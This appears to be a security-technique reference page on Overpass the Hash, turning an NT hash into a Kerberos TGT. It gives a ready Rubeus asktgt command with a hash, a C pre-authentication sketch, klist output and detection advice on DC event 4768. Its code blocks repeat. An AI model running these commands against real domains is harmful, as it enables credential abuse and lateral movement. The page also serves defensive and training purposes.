Overpass the Hash

Overview

Overpass the Hash turns an NT hash into a genuine Kerberos ticket without ever knowing the plaintext password. The Kerberos AS-REQ step requires the client to prove it knows the account’s secret by encrypting a timestamp with that secret. The secret is normally the password, but the KDC will also accept the NT hash as the pre-authentication key. Feed it the NT hash and the KDC issues a real, signed TGT - indistinguishable from one earned with the password.

This is the Kerberos twin of Pass the Hash. Classic PtH authenticates directly over SMB with the NTLM hash and stops there. Overpass goes through the KDC, so it produces a TGT that can then request any service ticket - opening the door to kerberoasting and lateral movement that pure NTLM PtH cannot reach. The cost is that the AS-REQ is now visible to the domain controller, which is exactly where detection lives.

The call chain

1. 1
   Obtain the account's NT hash

   From an LSASS dump, a hash dump, or a prior Pass the Hash.
   -
2. 2
   Build the AS-REQ with encrypted pre-auth

   Encrypt the Kerberos timestamp with the NT hash (RC4) and send it to the KDC.
   krb5
3. 3
   KDC validates and issues a TGT

   The KDC decrypts the pre-auth with the stored hash; on match it returns a signed TGT.
   krb5
4. 4
   Use the TGT

   Request service tickets and move laterally with normal Kerberos.
   krb5

Reference implementation

Rubeus performs the overpass with asktgt, the /rc4: flag telling it to use the NT hash for the pre-auth instead of a password.

# the hash is the target account's NT hash (16-byte hex)
rubeus.exe asktgt /user:svc-app /rc4:8846f7eaee8fb117ad06bdd830b7586c \
/domain:corp.local /gettickets /renewals

# a real TGT is now in the cache; request service tickets as normal
klist.exe /get

# the hash is the target account's NT hash (16-byte hex)
rubeus.exe asktgt /user:svc-app /rc4:8846f7eaee8fb117ad06bdd830b7586c \
/domain:corp.local /gettickets /renewals

# a real TGT is now in the cache; request service tickets as normal
klist.exe /get

C-level sketch

Overpass is a normal AS-REQ whose pre-authentication timestamp is encrypted with the NT hash rather than the password.

// 1. take the account NT hash
uint8_t ntlm[16];  // ... from an LSASS dump ...

// 2. encrypt the current timestamp with RC4-HMAC using the NT hash  <-- the
//    step the KDC decrypts with the stored hash; a match issues a real TGT
krb5_keyblock key;
key.enctype = ENCTYPE_RC4_HMAC;
memcpy(key.keydata, ntlm, 16);
krb5_enctype etype = ENCTYPE_RC4_HMAC;
krb5_encrypt(&ctx, &key, etype, &timestamp_blob, &preauth);

// 3. send the AS-REQ with that preauth; on success the KDC returns a
//    signed TGT the attacker can now use for any service ticket.
//    <-- the AS-REQ send + TGT handling is omitted

// 1. take the account NT hash
uint8_t ntlm[16];  // ... from an LSASS dump ...

// 2. encrypt the current timestamp with RC4-HMAC using the NT hash  <-- the
//    step the KDC decrypts with the stored hash; a match issues a real TGT
krb5_keyblock key;
key.enctype = ENCTYPE_RC4_HMAC;
memcpy(key.keydata, ntlm, 16);
krb5_enctype etype = ENCTYPE_RC4_HMAC;
krb5_encrypt(&ctx, &key, etype, &timestamp_blob, &preauth);

// 3. send the AS-REQ with that preauth; on success the KDC returns a
//    signed TGT the attacker can now use for any service ticket.
//    <-- the AS-REQ send + TGT handling is omitted

Verifying in the lab

After the overpass, klist /get shows a TGT for the account, and a follow-up klist /get: krbtgt or a service-ticket request succeeds. On the domain controller the 4768 shows the RC4 pre-auth etype.

> klist /get
Current user: CORP\svc-app

  Start Time          End Time            Service Name
  ------------        --------            ----------
  09/04/2026 14:21    09/05/2026 14:21    krbtgt/CORP
      ^ TGT obtained from an NT hash, no password logon  <-- the artifact

> klist /get
Current user: CORP\svc-app

  Start Time          End Time            Service Name
  ------------        --------            ----------
  09/04/2026 14:21    09/05/2026 14:21    krbtgt/CORP
      ^ TGT obtained from an NT hash, no password logon  <-- the artifact

Detection

The whole technique is one event on the domain controller: an AS-REQ that used an NT hash as its pre-authentication key.

Rank them: the 4768 RC4-pre-auth check is the cheapest, highest-fidelity control and should be a standing rule on every DC. The behavioural TGT-then-TGS-burst rule adds context but needs a correlation window. The network check only helps where KDC traffic is also inspected.

Variants & related